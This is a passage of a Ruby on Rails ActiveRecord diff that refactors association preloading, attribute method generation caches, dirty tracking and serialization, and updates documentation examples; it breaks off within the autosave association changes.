diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
deleted file mode 100644
index 9a3fada380..0000000000
--- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-module ActiveRecord
- module Associations
- class Preloader
- class HasAndBelongsToMany < CollectionAssociation #:nodoc:
- attr_reader :join_table
-
- def initialize(klass, records, reflection, preload_options)
- super
- @join_table = Arel::Table.new(reflection.join_table).alias('t0')
- end
-
- # Unlike the other associations, we want to get a raw array of rows so that we can
- # access the aliased column on the join table
- def records_for(ids)
- scope = super
- klass.connection.select_all(scope.arel, 'SQL', scope.bind_values)
- end
-
- def owner_key_name
- reflection.active_record_primary_key
- end
-
- def association_key_name
- 'ar_association_key_name'
- end
-
- def association_key
- join_table[reflection.foreign_key]
- end
-
- private
-
- # Once we have used the join table column (in super), we manually instantiate the
- # actual records, ensuring that we don't create more than one instances of the same
- # record
- def associated_records_by_owner
- records = {}
- super.each_value do |rows|
- rows.map! { |row| records[row[klass.primary_key]] ||= klass.instantiate(row) }
- end
- end
-
- def build_scope
- super.joins(join).select(join_select)
- end
-
- def join_select
- association_key.as(Arel.sql(association_key_name))
- end
-
- def join
- condition = table[reflection.association_primary_key].eq(
- join_table[reflection.association_foreign_key])
-
- table.create_join(join_table, table.create_on(condition))
- end
- end
- end
- end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
index 157b627ad5..7b37b5942d 100644
--- a/activerecord/lib/active_record/associations/preloader/has_many_through.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
@@ -4,7 +4,7 @@ module ActiveRecord
class HasManyThrough < CollectionAssociation #:nodoc:
include ThroughAssociation
- def associated_records_by_owner
+ def associated_records_by_owner(preloader)
records_by_owner = super
if reflection_scope.distinct_value
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
index 44e804d785..f60647a81e 100644
--- a/activerecord/lib/active_record/associations/preloader/singular_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/singular_association.rb
@@ -5,13 +5,13 @@ module ActiveRecord
private
- def preload
- associated_records_by_owner.each do |owner, associated_records|
+ def preload(preloader)
+ associated_records_by_owner(preloader).each do |owner, associated_records|
record = associated_records.first
association = owner.association(reflection.name)
association.target = record
- association.set_inverse_instance(record)
+ association.set_inverse_instance(record) if record
end
end
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
index c4b50ab306..1fed7f74e7 100644
--- a/activerecord/lib/active_record/associations/preloader/through_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -2,7 +2,6 @@ module ActiveRecord
module Associations
class Preloader
module ThroughAssociation #:nodoc:
-
def through_reflection
reflection.through_reflection
end
@@ -11,51 +10,84 @@ module ActiveRecord
reflection.source_reflection
end
- def associated_records_by_owner
- through_records = through_records_by_owner
+ def associated_records_by_owner(preloader)
+ preloader.preload(owners,
+ through_reflection.name,
+ through_scope)
- Preloader.new(through_records.values.flatten, source_reflection.name, reflection_scope).run
+ through_records = owners.map do |owner|
+ association = owner.association through_reflection.name
- through_records.each do |owner, records|
- records.map! { |r| r.send(source_reflection.name) }.flatten!
- records.compact!
+ [owner, Array(association.reader)]
end
- end
- private
+ reset_association owners, through_reflection.name
+
+ middle_records = through_records.flat_map { |(_,rec)| rec }
+
+ preloaders = preloader.preload(middle_records,
+ source_reflection.name,
+ reflection_scope)
- def through_records_by_owner
- Preloader.new(owners, through_reflection.name, through_scope).run
+ @preloaded_records = preloaders.flat_map(&:preloaded_records)
+
+ middle_to_pl = preloaders.each_with_object({}) do |pl,h|
+ pl.owners.each { |middle|
+ h[middle] = pl
+ }
+ end
+
+ record_offset = {}
+ @preloaded_records.each_with_index do |record,i|
+ record_offset[record] = i
+ end
- Hash[owners.map do |owner|
- through_records = Array.wrap(owner.send(through_reflection.name))
+ through_records.each_with_object({}) { |(lhs,center),records_by_owner|
+ pl_to_middle = center.group_by { |record| middle_to_pl[record] }
- # Dont cache the association - we would only be caching a subset
- if (through_scope != through_reflection.klass.unscoped) ||
- (reflection.options[:source_type] && through_reflection.collection?)
- owner.association(through_reflection.name).reset
+ records_by_owner[lhs] = pl_to_middle.flat_map do |pl, middles|
+ rhs_records = middles.flat_map { |r|
+ association = r.association source_reflection.name
+
+ association.reader
+ }.compact
+
+ rhs_records.sort_by { |rhs| record_offset[rhs] }
end
+ }
+ end
+
+ private
+
+ def reset_association(owners, association_name)
+ should_reset = (through_scope != through_reflection.klass.unscoped) ||
+ (reflection.options[:source_type] && through_reflection.collection?)
- [owner, through_records]
- end]
+ # Dont cache the association - we would only be caching a subset
+ if should_reset
+ owners.each { |owner|
+ owner.association(association_name).reset
+ }
+ end
end
+
def through_scope
- through_scope = through_reflection.klass.unscoped
+ scope = through_reflection.klass.unscoped
if options[:source_type]
- through_scope.where! reflection.foreign_type => options[:source_type]
+ scope.where! reflection.foreign_type => options[:source_type]
else
unless reflection_scope.where_values.empty?
- through_scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
- through_scope.where_values = reflection_scope.values[:where]
+ scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
+ scope.where_values = reflection_scope.values[:where]
end
- through_scope.references! reflection_scope.values[:references]
- through_scope.order! reflection_scope.values[:order] if through_scope.eager_loading?
+ scope.references! reflection_scope.values[:references]
+ scope = scope.order reflection_scope.values[:order] if scope.eager_loading?
end
- through_scope
+ scope
end
end
end
diff --git a/activerecord/lib/active_record/associations/singular_association.rb b/activerecord/lib/active_record/associations/singular_association.rb
index 10238555f0..f2e3a4e40f 100644
--- a/activerecord/lib/active_record/associations/singular_association.rb
+++ b/activerecord/lib/active_record/associations/singular_association.rb
@@ -18,11 +18,11 @@ module ActiveRecord
end
def create(attributes = {}, &block)
- create_record(attributes, &block)
+ _create_record(attributes, &block)
end
def create!(attributes = {}, &block)
- create_record(attributes, true, &block)
+ _create_record(attributes, true, &block)
end
def build(attributes = {})
@@ -38,11 +38,27 @@ module ActiveRecord
scope.scope_for_create.stringify_keys.except(klass.primary_key)
end
+ def get_records
+ return scope.limit(1).to_a if reflection.scope_chain.any?(&:any?)
+
+ conn = klass.connection
+ sc = reflection.association_scope_cache(conn, owner) do
+ StatementCache.create(conn) { |params|
+ as = AssociationScope.create { params.bind }
+ target_scope.merge(as.scope(self, conn)).limit(1)
+ }
+ end
+
+ binds = AssociationScope.get_bind_values(owner, reflection.chain)
+ sc.execute binds, klass, klass.connection
+ end
+
def find_target
- scope.first.tap { |record| set_inverse_instance(record) }
+ if record = get_records.first
+ set_inverse_instance record
+ end
end
- # Implemented by subclasses
def replace(record)
raise NotImplementedError, "Subclasses must implement a replace(record) method"
end
@@ -51,7 +67,7 @@ module ActiveRecord
replace(record)
end
- def create_record(attributes, raise_error = false)
+ def _create_record(attributes, raise_error = false)
record = build_record(attributes)
yield(record) if block_given?
saved = record.save
diff --git a/activerecord/lib/active_record/associations/through_association.rb b/activerecord/lib/active_record/associations/through_association.rb
index 35f29b37a2..f8a85b8a6f 100644
--- a/activerecord/lib/active_record/associations/through_association.rb
+++ b/activerecord/lib/active_record/associations/through_association.rb
@@ -13,10 +13,12 @@ module ActiveRecord
# 2. To get the type conditions for any STI models in the chain
def target_scope
scope = super
- chain[1..-1].each do |reflection|
+ chain.drop(1).each do |reflection|
+ relation = reflection.klass.all
+ relation.merge!(reflection.scope) if reflection.scope
+
scope.merge!(
- reflection.klass.all.with_default_scope.
- except(:select, :create_with, :includes, :preload, :joins, :eager_load)
+ relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load)
)
end
scope
diff --git a/activerecord/lib/active_record/attribute_assignment.rb b/activerecord/lib/active_record/attribute_assignment.rb
index 4f06955406..30fa2c8ba5 100644
--- a/activerecord/lib/active_record/attribute_assignment.rb
+++ b/activerecord/lib/active_record/attribute_assignment.rb
@@ -12,6 +12,9 @@ module ActiveRecord
# of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
# exception is raised.
def assign_attributes(new_attributes)
+ if !new_attributes.respond_to?(:stringify_keys)
+ raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."
+ end
return if new_attributes.blank?
attributes = new_attributes.stringify_keys
diff --git a/activerecord/lib/active_record/attribute_methods.rb b/activerecord/lib/active_record/attribute_methods.rb
index 609c6e8cab..4b1733619a 100644
--- a/activerecord/lib/active_record/attribute_methods.rb
+++ b/activerecord/lib/active_record/attribute_methods.rb
@@ -1,4 +1,6 @@
require 'active_support/core_ext/enumerable'
+require 'mutex_m'
+require 'thread_safe'
module ActiveRecord
# = Active Record Attribute Methods
@@ -7,6 +9,7 @@ module ActiveRecord
include ActiveModel::AttributeMethods
included do
+ initialize_generated_modules
include Read
include Write
include BeforeTypeCast
@@ -17,27 +20,68 @@ module ActiveRecord
include Serialization
end
+ AttrNames = Module.new {
+ def self.set_name_cache(name, value)
+ const_name = "ATTR_#{name}"
+ unless const_defined? const_name
+ const_set const_name, value.dup.freeze
+ end
+ end
+ }
+
+ BLACKLISTED_CLASS_METHODS = %w(private public protected)
+
+ class AttributeMethodCache
+ def initialize
+ @module = Module.new
+ @method_cache = ThreadSafe::Cache.new
+ end
+
+ def [](name)
+ @method_cache.compute_if_absent(name) do
+ safe_name = name.unpack('h*').first
+ temp_method = "__temp__#{safe_name}"
+ ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+ @module.module_eval method_body(temp_method, safe_name), __FILE__, __LINE__
+ @module.instance_method temp_method
+ end
+ end
+
+ private
+ def method_body; raise NotImplementedError; end
+ end
+
module ClassMethods
+ def inherited(child_class) #:nodoc:
+ child_class.initialize_generated_modules
+ super
+ end
+
+ def initialize_generated_modules # :nodoc:
+ @generated_attribute_methods = Module.new { extend Mutex_m }
+ @attribute_methods_generated = false
+ include @generated_attribute_methods
+ end
+
# Generates all the attribute related methods for columns in the database
# accessors, mutators and query methods.
def define_attribute_methods # :nodoc:
# Use a mutex; we don't want two thread simultaneously trying to define
# attribute methods.
- @attribute_methods_mutex.synchronize do
- return if attribute_methods_generated?
+ generated_attribute_methods.synchronize do
+ return false if @attribute_methods_generated
superclass.define_attribute_methods unless self == base_class
super(column_names)
@attribute_methods_generated = true
end
- end
-
- def attribute_methods_generated? # :nodoc:
- @attribute_methods_generated ||= false
+ true
end
def undefine_attribute_methods # :nodoc:
- super if attribute_methods_generated?
- @attribute_methods_generated = false
+ generated_attribute_methods.synchronize do
+ super if @attribute_methods_generated
+ @attribute_methods_generated = false
+ end
end
# Raises a <tt>ActiveRecord::DangerousAttributeError</tt> exception when an
@@ -64,20 +108,39 @@ module ActiveRecord
else
# If B < A and A defines its own attribute method, then we don't want to overwrite that.
defined = method_defined_within?(method_name, superclass, superclass.generated_attribute_methods)
- defined && !ActiveRecord::Base.method_defined?(method_name) || super
+ base_defined = Base.method_defined?(method_name) || Base.private_method_defined?(method_name)
+ defined && !base_defined || super
end
end
- # A method name is 'dangerous' if it is already defined by Active Record, but
+ # A method name is 'dangerous' if it is already (re)defined by Active Record, but
# not by any ancestors. (So 'puts' is not dangerous but 'save' is.)
def dangerous_attribute_method?(name) # :nodoc:
method_defined_within?(name, Base)
end
- def method_defined_within?(name, klass, sup = klass.superclass) # :nodoc:
+ def method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc:
if klass.method_defined?(name) || klass.private_method_defined?(name)
- if sup.method_defined?(name) || sup.private_method_defined?(name)
- klass.instance_method(name).owner != sup.instance_method(name).owner
+ if superklass.method_defined?(name) || superklass.private_method_defined?(name)
+ klass.instance_method(name).owner != superklass.instance_method(name).owner
+ else
+ true
+ end
+ else
+ false
+ end
+ end
+
+ # A class method is 'dangerous' if it is already (re)defined by Active Record, but
+ # not by any ancestors. (So 'puts' is not dangerous but 'new' is.)
+ def dangerous_class_method?(method_name)
+ BLACKLISTED_CLASS_METHODS.include?(method_name.to_s) || class_method_defined_within?(method_name, Base)
+ end
+
+ def class_method_defined_within?(name, klass, superklass = klass.superclass) # :nodoc
+ if klass.respond_to?(name, true)
+ if superklass.respond_to?(name, true)
+ klass.method(name).owner != superklass.method(name).owner
else
true
end
@@ -86,6 +149,16 @@ module ActiveRecord
end
end
+ def find_generated_attribute_method(method_name) # :nodoc:
+ klass = self
+ until klass == Base
+ gen_methods = klass.generated_attribute_methods
+ return gen_methods.instance_method(method_name) if method_defined_within?(method_name, gen_methods, Object)
+ klass = klass.superclass
+ end
+ nil
+ end
+
# Returns +true+ if +attribute+ is an attribute method and table exists,
# +false+ otherwise.
#
@@ -119,33 +192,21 @@ module ActiveRecord
# If we haven't generated any methods yet, generate them, then
# see if we've created the method we're looking for.
def method_missing(method, *args, &block) # :nodoc:
- unless self.class.attribute_methods_generated?
- self.class.define_attribute_methods
-
- if respond_to_without_attributes?(method)
- send(method, *args, &block)
+ self.class.define_attribute_methods
+ if respond_to_without_attributes?(method)
+ # make sure to invoke the correct attribute method, as we might have gotten here via a `super`
+ # call in a overwritten attribute method
+ if attribute_method = self.class.find_generated_attribute_method(method)
+ # this is probably horribly slow, but should only happen at most once for a given AR class
+ attribute_method.bind(self).call(*args, &block)
else
- super
+ send(method, *args, &block)
end
else
super
end
end
- def attribute_missing(match, *args, &block) # :nodoc:
- if self.class.columns_hash[match.attr_name]
- ActiveSupport::Deprecation.warn(
- "The method `#{match.method_name}', matching the attribute `#{match.attr_name}' has " \
- "dispatched through method_missing. This shouldn't happen, because `#{match.attr_name}' " \
- "is a column of the table. If this error has happened through normal usage of Active " \
- "Record (rather than through your own code or external libraries), please report it as " \
- "a bug."
- )
- end
-
- super
- end
-
# A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>,
# <tt>person.respond_to?(:name=)</tt>, and <tt>person.respond_to?(:name?)</tt>
# which will all return +true+. It also define the attribute methods if they have
@@ -164,7 +225,7 @@ module ActiveRecord
# person.respond_to(:nothing) # => false
def respond_to?(name, include_private = false)
name = name.to_s
- self.class.define_attribute_methods unless self.class.attribute_methods_generated?
+ self.class.define_attribute_methods
result = super
# If the result is false the answer is false.
@@ -174,7 +235,7 @@ module ActiveRecord
# For queries selecting a subset of columns, return false for unselected columns.
# We check defined?(@attributes) not to issue warnings if called on objects that
# have been allocated but not yet initialized.
- if defined?(@attributes) && @attributes.present? && self.class.column_names.include?(name)
+ if defined?(@attributes) && @attributes.any? && self.class.column_names.include?(name)
return has_attribute?(name)
end
@@ -220,26 +281,38 @@ module ActiveRecord
}
end
+ # Placeholder so it can be overriden when needed by serialization
+ def attributes_for_coder # :nodoc:
+ attributes
+ end
+
# Returns an <tt>#inspect</tt>-like string for the value of the
# attribute +attr_name+. String attributes are truncated upto 50
- # characters, and Date and Time attributes are returned in the
- # <tt>:db</tt> format. Other attributes return the value of
- # <tt>#inspect</tt> without modification.
+ # characters, Date and Time attributes are returned in the
+ # <tt>:db</tt> format, Array attributes are truncated upto 10 values.
+ # Other attributes return the value of <tt>#inspect</tt> without
+ # modification.
#
# person = Person.create!(name: 'David Heinemeier Hansson ' * 3)
#
# person.attribute_for_inspect(:name)
- # # => "\"David Heinemeier Hansson David Heinemeier Hansson D...\""
+ # # => "\"David Heinemeier Hansson David Heinemeier Hansson ...\""
#
# person.attribute_for_inspect(:created_at)
# # => "\"2012-10-22 00:15:07\""
+ #
+ # person.attribute_for_inspect(:tag_ids)
+ # # => "[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, ...]"
def attribute_for_inspect(attr_name)
value = read_attribute(attr_name)
if value.is_a?(String) && value.length > 50
- "#{value[0..50]}...".inspect
+ "#{value[0, 50]}...".inspect
elsif value.is_a?(Date) || value.is_a?(Time)
%("#{value.to_s(:db)}")
+ elsif value.is_a?(Array) && value.size > 10
+ inspected = value.first(10).inspect
+ %(#{inspected[0...-1]}, ...])
else
value.inspect
end
@@ -283,7 +356,7 @@ module ActiveRecord
end
# Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
- # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)). It raises
+ # "2004-12-12" in a date column is cast to a date object, like Date.new(2004, 12, 12)). It raises
# <tt>ActiveModel::MissingAttributeError</tt> if the identified attribute is missing.
#
# Alias for the <tt>read_attribute</tt> method.
diff --git a/activerecord/lib/active_record/attribute_methods/dirty.rb b/activerecord/lib/active_record/attribute_methods/dirty.rb
index 6315dd9549..99070f127b 100644
--- a/activerecord/lib/active_record/attribute_methods/dirty.rb
+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -14,24 +14,12 @@ module ActiveRecord
class_attribute :partial_writes, instance_writer: false
self.partial_writes = true
-
- def self.partial_updates=(v); self.partial_writes = v; end
- def self.partial_updates?; partial_writes?; end
- def self.partial_updates; partial_writes; end
-
- ActiveSupport::Deprecation.deprecate_methods(
- singleton_class,
- :partial_updates= => :partial_writes=,
- :partial_updates? => :partial_writes?,
- :partial_updates => :partial_writes
- )
end
# Attempts to +save+ the record and clears changed attributes if successful.
def save(*)
if status = super
- @previously_changed = changes
- @changed_attributes.clear
+ changes_applied
end
status
end
@@ -39,49 +27,70 @@ module ActiveRecord
# Attempts to <tt>save!</tt> the record and clears changed attributes if successful.
def save!(*)
super.tap do
- @previously_changed = changes
- @changed_attributes.clear
+ changes_applied
end
end
# <tt>reload</tt> the record and clears changed attributes.
def reload(*)
super.tap do
- @previously_changed.clear
- @changed_attributes.clear
+ reset_changes
end
end
+ def initialize_dup(other) # :nodoc:
+ super
+ init_changed_attributes
+ end
+
private
+ def initialize_internals_callback
+ super
+ init_changed_attributes
+ end
+
+ def init_changed_attributes
+ @changed_attributes = nil
+ # Intentionally avoid using #column_defaults since overridden defaults (as is done in
+ # optimistic locking) won't get written unless they get marked as changed
+ self.class.columns.each do |c|
+ attr, orig_value = c.name, c.default
+ changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
+ end
+ end
+
# Wrap write_attribute to remember original attribute value.
def write_attribute(attr, value)
attr = attr.to_s
+ save_changed_attribute(attr, value)
+
+ super(attr, value)
+ end
+
+ def save_changed_attribute(attr, value)
# The attribute already has an unsaved change.
if attribute_changed?(attr)
- old = @changed_attributes[attr]
- @changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
+ old = changed_attributes[attr]
+ changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
else
old = clone_attribute_value(:read_attribute, attr)
- @changed_attributes[attr] = old if _field_changed?(attr, old, value)
+ changed_attributes[attr] = old if _field_changed?(attr, old, value)
end
-
- # Carry on.
- super(attr, value)
end
- def update_record(*)
+ def _update_record(*)
partial_writes? ? super(keys_for_partial_write) : super
end
- def create_record(*)
+ def _create_record(*)
partial_writes? ? super(keys_for_partial_write) : super
end
# Serialized attributes should always be written in case they've been
# changed in place.
def keys_for_partial_write
- changed | (attributes.keys & self.class.serialized_attributes.keys)
+ changed
end
def _field_changed?(attr, old, value)
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index 506f5d75f9..d01e9aea59 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -1,6 +1,38 @@
+require 'active_support/core_ext/module/method_transplanting'
+
module ActiveRecord
module AttributeMethods
module Read
+ ReaderMethodCache = Class.new(AttributeMethodCache) {
+ private
+ # We want to generate the methods via module_eval rather than
+ # define_method, because define_method is slower on dispatch.
+ # Evaluating many similar methods may use more memory as the instruction
+ # sequences are duplicated and cached (in MRI). define_method may
+ # be slower on dispatch, but if you're careful about the closure
+ # created, then define_method will consume much less memory.
+ #
+ # But sometimes the database might return columns with
+ # characters that are not allowed in normal method names (like
+ # 'my_column(omg)'. So to work around this we first define with
+ # the __temp__ identifier, and then use alias method to rename
+ # it to what we want.
+ #
+ # We are also defining a constant to hold the frozen string of
+ # the attribute name. Using a constant means that we do not have
+ # to allocate an object on each call to the attribute method.
+ # Making it frozen means that it doesn't get duped when used to
+ # key the @attributes_cache in read_attribute.
+ def method_body(method_name, const_name)
+ <<-EOMETHOD
+ def #{method_name}
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name}
+ read_attribute(name) { |n| missing_attribute(n, caller) }
+ end
+ EOMETHOD
+ end
+ }.new
+
extend ActiveSupport::Concern
ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
@@ -32,30 +64,30 @@ module ActiveRecord
protected
- # We want to generate the methods via module_eval rather than
- # define_method, because define_method is slower on dispatch and
- # uses more memory (because it creates a closure).
- #
- # But sometimes the database might return columns with
- # characters that are not allowed in normal method names (like
- # 'my_column(omg)'. So to work around this we first define with
- # the __temp__ identifier, and then use alias method to rename
- # it to what we want.
- #
- # We are also defining a constant to hold the frozen string of
- # the attribute name. Using a constant means that we do not have
- # to allocate an object on each call to the attribute method.
- # Making it frozen means that it doesn't get duped when used to
- # key the @attributes_cache in read_attribute.
- def define_method_attribute(name)
- safe_name = name.unpack('h*').first
- generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
- def __temp__#{safe_name}
- read_attribute(AttrNames::ATTR_#{safe_name}) { |n| missing_attribute(n, caller) }
+ if Module.methods_transplantable?
+ def define_method_attribute(name)
+ method = ReaderMethodCache[name]
+ generated_attribute_methods.module_eval { define_method name, method }
+ end
+ else
+ def define_method_attribute(name)
+ safe_name = name.unpack('h*').first
+ temp_method = "__temp__#{safe_name}"
+
+ ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+
+ generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+ def #{temp_method}
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+ read_attribute(name) { |n| missing_attribute(n, caller) }
+ end
+ STR
+
+ generated_attribute_methods.module_eval do
+ alias_method name, temp_method
+ undef_method temp_method
end
- alias_method #{name.inspect}, :__temp__#{safe_name}
- undef_method :__temp__#{safe_name}
- STR
+ end
end
private
@@ -70,20 +102,21 @@ module ActiveRecord
end
# Returns the value of the attribute identified by <tt>attr_name</tt> after
- # it has been typecast (for example, "2004-12-12" in a data column is cast
+ # it has been typecast (for example, "2004-12-12" in a date column is cast
# to a date object, like Date.new(2004, 12, 12)).
def read_attribute(attr_name)
# If it's cached, just return it
# We use #[] first as a perf optimization for non-nil values. See https://gist.github.com/jonleighton/3552829.
name = attr_name.to_s
@attributes_cache[name] || @attributes_cache.fetch(name) {
- column = @columns_hash.fetch(name) {
- return @attributes.fetch(name) {
- if name == 'id' && self.class.primary_key != name
- read_attribute(self.class.primary_key)
- end
- }
- }
+ column = @column_types_override[name] if @column_types_override
+ column ||= @column_types[name]
+
+ return @attributes.fetch(name) {
+ if name == 'id' && self.class.primary_key != name
+ read_attribute(self.class.primary_key)
+ end
+ } unless column
value = @attributes.fetch(name) {
return block_given? ? yield(name) : nil
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
index 1287de0d0d..c3466153d6 100644
--- a/activerecord/lib/active_record/attribute_methods/serialization.rb
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -24,10 +24,14 @@ module ActiveRecord
# serialized object must be of that class on retrieval or
# <tt>SerializationTypeMismatch</tt> will be raised.
#
+ # A notable side effect of serialized attributes is that the model will
+ # be updated on every save, even if it is not dirty.
+ #
# ==== Parameters
#
# * +attr_name+ - The field name that should be serialized.
- # * +class_name+ - Optional, class name that the object type should be equal to.
+ # * +class_name_or_coder+ - Optional, a coder object, which responds to `.load` / `.dump`
+ # or a class name that the object type should be equal to.
#
# ==== Example
#
@@ -35,13 +39,23 @@ module ActiveRecord
# class User < ActiveRecord::Base
# serialize :preferences
# end
- def serialize(attr_name, class_name = Object)
+ #
+ # # Serialize preferences using JSON as coder.
+ # class User < ActiveRecord::Base
+ # serialize :preferences, JSON
+ # end
+ #
+ # # Serialize preferences as Hash using YAML coder.
+ # class User < ActiveRecord::Base
+ # serialize :preferences, Hash
+ # end
+ def serialize(attr_name, class_name_or_coder = Object)
include Behavior
- coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
- class_name
+ coder = if [:load, :dump].all? { |x| class_name_or_coder.respond_to?(x) }
+ class_name_or_coder
else
- Coders::YAMLColumn.new(class_name)
+ Coders::YAMLColumn.new(class_name_or_coder)
end
# merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
@@ -66,6 +80,10 @@ module ActiveRecord
def type
@column.type
end
+
+ def accessor
+ ActiveRecord::Store::IndifferentHashAccessor
+ end
end
class Attribute < Struct.new(:coder, :value, :state) # :nodoc:
@@ -108,6 +126,14 @@ module ActiveRecord
end
end
+ def should_record_timestamps?
+ super || (self.record_timestamps && (attributes.keys & self.class.serialized_attributes.keys).present?)
+ end
+
+ def keys_for_partial_write
+ super | (attributes.keys & self.class.serialized_attributes.keys)
+ end
+
def type_cast_attribute_for_write(column, value)
if column && coder = self.class.serialized_attributes[column.name]
Attribute.new(coder, value, :unserialized)
@@ -149,6 +175,16 @@ module ActiveRecord
super
end
end
+
+ def attributes_for_coder
+ attribute_names.each_with_object({}) do |name, attrs|
+ attrs[name] = if self.class.serialized_attributes.include?(name)
+ @attributes[name].serialized_value
+ else
+ read_attribute(name)
+ end
+ end
+ end
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
index 41b5a6e926..f168282ea3 100644
--- a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -51,7 +51,7 @@ module ActiveRecord
def create_time_zone_conversion_attribute?(name, column)
time_zone_aware_attributes &&
!self.skip_time_zone_conversion_for_attributes.include?(name.to_sym) &&
- [:datetime, :timestamp].include?(column.type)
+ (:datetime == column.type || :timestamp == column.type)
end
end
end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index cd33494cc3..c853fc0917 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -1,6 +1,21 @@
+require 'active_support/core_ext/module/method_transplanting'
+
module ActiveRecord
module AttributeMethods
module Write
+ WriterMethodCache = Class.new(AttributeMethodCache) {
+ private
+
+ def method_body(method_name, const_name)
+ <<-EOMETHOD
+ def #{method_name}(value)
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{const_name}
+ write_attribute(name, value)
+ end
+ EOMETHOD
+ end
+ }.new
+
extend ActiveSupport::Concern
included do
@@ -10,17 +25,29 @@ module ActiveRecord
module ClassMethods
protected
- # See define_method_attribute in read.rb for an explanation of
- # this code.
- def define_method_attribute=(name)
- safe_name = name.unpack('h*').first
- generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
- def __temp__#{safe_name}=(value)
- write_attribute(AttrNames::ATTR_#{safe_name}, value)
- end
- alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
- undef_method :__temp__#{safe_name}=
- STR
+ if Module.methods_transplantable?
+ # See define_method_attribute in read.rb for an explanation of
+ # this code.
+ def define_method_attribute=(name)
+ method = WriterMethodCache[name]
+ generated_attribute_methods.module_eval {
+ define_method "#{name}=", method
+ }
+ end
+ else
+ def define_method_attribute=(name)
+ safe_name = name.unpack('h*').first
+ ActiveRecord::AttributeMethods::AttrNames.set_name_cache safe_name, name
+
+ generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+ def __temp__#{safe_name}=(value)
+ name = ::ActiveRecord::AttributeMethods::AttrNames::ATTR_#{safe_name}
+ write_attribute(name, value)
+ end
+ alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
+ undef_method :__temp__#{safe_name}=
+ STR
+ end
end
end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index a8a1847554..80cf7572df 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -35,7 +35,7 @@ module ActiveRecord
#
# === One-to-one Example
#
- # class Post
+ # class Post < ActiveRecord::Base
# has_one :author, autosave: true
# end
#
@@ -76,7 +76,7 @@ module ActiveRecord
#
# When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
#
- # class Post
+ # class Post < ActiveRecord::Base
# has_many :comments # :autosave option is not declared
# end
#
@@ -95,20 +95,23 @@ module ActiveRecord
# When <tt>:autosave</tt> is true all children are saved, no matter whether they
# are new records or not:
#
- # class Post
+ # class Post < ActiveRecord::Base
# has_many :comments, autosave: true
# end
#
# post = Post.create(title: 'ruby rocks')
# post.comments.create(body: 'hello world')
# post.comments[0].body = 'hi everyone'
- # post.save # => saves both post and comment, with 'hi everyone' as body
+ # post.comments.build(body: "good morning.")
+ # post.title += "!"
+ # post.save # => saves both post and comments.
#
# Destroying one of the associated models as part of the parent's save action
# is as simple as marking it for destruction:
#
- # post.comments.last.mark_for_destruction
- # post.comments.last.marked_for_destruction? # => true
+ # post.comments # => [#<Comment id: 1, ...>, #<Comment id: 2, ...]>
+ # post.comments[1].mark_for_destruction
+ # post.comments[1].marked_for_destruction? # => true
# post.comments.length # => 2
#
# Note that the model is _not_ yet removed from the database:
@@ -127,87 +130,87 @@ module ActiveRecord
extend ActiveSupport::Concern
module AssociationBuilderExtension #:nodoc:
- def build
+ def self.build(model, reflection)
